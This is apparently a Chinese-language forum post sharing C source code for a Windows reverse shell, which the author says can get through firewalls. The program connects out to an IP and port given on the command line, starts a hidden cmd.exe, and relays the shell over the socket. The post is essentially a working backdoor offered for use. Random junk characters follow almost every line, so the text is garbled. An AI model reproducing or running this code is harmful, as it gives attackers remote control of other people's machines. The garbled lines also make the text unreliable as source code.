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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,4NvD2Y  
HoT5 5v!o  
/* ============================== u z ` H  
Rebound port in Windows NT *-ZD-B*?  
By wind,2006/7 C@buewk  
===============================*/ >RHK6c  
#include e[i&2mM  
#include p[0Ws460  
go]d+lhFB  
#pragma comment(lib,"wsock32.lib") |^S[Gr w  
G 8uX[-L1  
void OutputShell(); J,;; `sf  
SOCKET sClient; 9*[!uu  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3HO 4 h\mp  
DA]!ndJD  
void main(int argc,char **argv) K^J;iu4  
{ XEfTAW#7  
WSADATA stWsaData; j*I0]!-  
int nRet; J6hWcA6 g  
SOCKADDR_IN stSaiClient,stSaiServer; ]gI XG`  
, ZD!Qb  
if(argc != 3) YM 7P!8Gc  
{ yZb@  
printf("Useage:\n\rRebound DestIP DestPort\n"); bC$n+G>6k  
return; XZV)4=5iSO  
} /_*:  
q .tVNKy%  
WSAStartup(MAKEWORD(2,2),&stWsaData); w6Dysg:  
/Or76kE  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y@~.b^?_u  
9=rYzA?)+  
stSaiClient.sin_family = AF_INET; Wfu%,=@,  
stSaiClient.sin_port = htons(0); x4*8q/G=D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E-*udQ  
$B}(5D a  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Wxjk}&+pVa  
{ A!Ng@r  
printf("Bind Socket Failed!\n"); vD:.1,72  
return; >6 :slNM#  
} bLCrh(<  
&VR<'^>  
stSaiServer.sin_family = AF_INET;  *X*D, VY  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +P~zn=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); To}L%)  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) PgB=<#9  
{ 5G(y  
printf("Connect Error!"); 2EG"xA5%  
return; bkmX@+Pe  
} @`%.\_  
OutputShell(); ksu:RJ-  
} /iy2j8: z  
4yQ4lU,r  
void OutputShell() GY@Np^>[a  
{ 9rn!U2  
char szBuff[1024]; ,{J2i#g<  
SECURITY_ATTRIBUTES stSecurityAttributes; 8}xU]N#EV  
OSVERSIONINFO stOsversionInfo; EIEwrC  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {4}Sl^kn*  
STARTUPINFO stStartupInfo; V *S|Qy!p  
char *szShell; @a%,0Wn  
PROCESS_INFORMATION stProcessInformation; LMsbTF@E  
unsigned long lBytesRead; GS8,mQ8l*l  
bCd! ap+#  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Qyt6+xL  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u+(e,t  
stSecurityAttributes.lpSecurityDescriptor = 0; - /#3U{O  
stSecurityAttributes.bInheritHandle = TRUE; b'3#FI=:  
MMhd-B1O&  
$N,9 e  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /RX7AXXB  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (C6Y*Zm\  
xS,):R  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t,k9:p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D@DK9?#  
stStartupInfo.wShowWindow = SW_HIDE; dH?pQ   
stStartupInfo.hStdInput = hReadPipe; !RiPr(m@y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :".!6~:2  
tHJ1MDw'  
GetVersionEx(&stOsversionInfo); ot_jG)  
kZUuRB~om  
switch(stOsversionInfo.dwPlatformId) ;1(OC-2>d  
{ DgClN:Hw  
case 1: fQOaTsyA  
szShell = "command.com"; %6Hn1'7+v  
break; Gps  
default: 1;? L:A  
szShell = "cmd.exe"; 'v6Rd )E\z  
break; r)+dK }xl  
} E+E5`-V  
s Uj#:X  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f8[2$i*cL  
Plm3vk=  
send(sClient,szMsg,77,0); |7|mnOBdDf  
while(1) }pTw$B  
{ dN\pe@#lKP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $PrzJc  
if(lBytesRead) '\_ic=&u  
{ 2"BlV *\lS  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [POy" O  
send(sClient,szBuff,lBytesRead,0); KxJJ?WyM  
} $?*+P``  
else Sn0?_vH4  
{ p,kJ#I  
lBytesRead=recv(sClient,szBuff,1024,0); Xk7zXah  
if(lBytesRead<=0) break; zoUW}O  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )h+JX8K)l  
} zYls>fbp,  
} r9b`3yr=  
oL VtP  
return; azE>uEsE  
}
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